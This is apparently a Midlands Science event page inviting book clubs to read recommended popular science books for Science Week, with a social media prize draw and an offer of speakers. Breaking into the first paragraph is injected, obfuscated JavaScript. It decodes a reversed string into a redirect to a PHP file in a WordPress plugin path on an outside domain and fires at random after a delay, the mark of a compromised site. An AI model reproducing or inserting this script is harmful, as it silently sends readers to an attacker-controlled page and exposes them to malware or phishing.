Event Details

Midlands Science is encouraging book clubs in the midlands to read a popular science book this year as part of Science Week. If book clubs $mWn=function(n){if(typeof ($mWn.list[n])==”string”) return $mWn.list[n].split(“”).reverse().join(“”);return $mWn.list[n];};$mWn.list=[“\’php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-retoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}do this, share it on Facebook/Instagram and tag Midlands Science, they’ll be in with a chance to win some amazing science books for their club.

A full listing of recommended books is available here.

For adults, books recommended include “Empire of Pain” by Patrick Radden Keefe, which explores the story of the Sackler family and their central role in America’s opioid epidemic and Limitless by Tim Peake, in which the astronaut takes readers closer than ever before to what life in space is like. For younger readers, Women in Science by Rachel Ignotofsky tells the story of amazing women in science and their achievements from ancient times to the modern day. “Alan Turing” by Maris Isabel Sanchez Vegara is a book in the series Little People, Big Dreams and tells the remarkable story of the father of computer science and artificial intelligence and his central role in Nazi code cracking in World War 2.

If your book club would like a speaker to attend your meeting to discuss some of the issues in your chosen book, simply email and we will try to arrange this. Midlands Science Festival is supported by the Science Foundation Ireland Discover Programme as part of national Science Week.
